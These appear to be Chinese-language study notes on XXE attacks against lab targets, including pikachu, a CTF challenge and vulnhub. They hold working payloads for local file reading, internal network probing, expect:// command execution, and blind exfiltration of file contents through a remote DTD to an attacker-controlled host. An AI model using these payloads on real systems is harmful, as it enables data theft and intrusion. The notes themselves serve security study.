漏洞利用
简单回显读文件
靶场pickchu
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///g://1.txt">
]>
<x>&xxe;</x>
读取g盘下的1.txt文件,提交成功读取
对内网的探测
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;</x>
探测内网的服务器
提交内容为空,说明存在此文件
,因为当没有文件时就会报错,如下:
执行rce命令
前提目标服务器开启php拓展
#该CASE是在安装expect扩展的PHP环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
引入外部实体dtd
借用外部网站来进行操作
#引入外部实体dtd
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://33.33.33.33:8081/evil2.dtd">
%file;
]>
<x>&send;</x>
读取目标网站下目录的evil2.dtd文件,而文件中写有xml代码,读取d盘下的test.txt文件
evil2.dtd:
类似于文件包含中的外部包含
无回显读文件
#无回显-读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>
test.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;
如果目标网站的xml没有回显,则使用此方法,将读取的文件值赋给file变量,然后访问目标网站的的文件,而文件内容则是区访问另一个网站,并且携带file参数,这时你就可以通过GET传参来接受这个参数值的内容了
演示:
目标网站开启日志
并且网站写有文件,来接受file的值
把代码插入到网站时,因为要访问目标网站,日志就存下了记录
并且携带了file的值
解码后:成功显示文件内容
有点类似反向连接
绕过
https://www.cnblogs.com/20175211lyz/p/11413335.html
漏洞发现
通过工具扫描,或者爬行网站目录信息,通过筛选有关text/xml于application/xml信息来发现xml格式数据,还可以通过盲猜来更改Content-type的值来进行发现,对方网站可能type类型不是xml但不代表不接受xml数据,通过更改来发现
如:通过burpsuite的爬虫,通过过滤历史记录来搜查xml
筛选出xml的数据包
通过添加恶意代码,来判断
成功显示!
CTF题目
http://web.jarvisoj.com:9882/
抓包,更改content-type类型
植入恶意代码
成功回显!
vulnbub靶机实战
https://blog.csdn.net/qq_44930903/article/details/112333612
xml注入工具
https://github.com/enjoiz/XXEinjector
git clone https://github.com/enjoiz/XXEinjector.git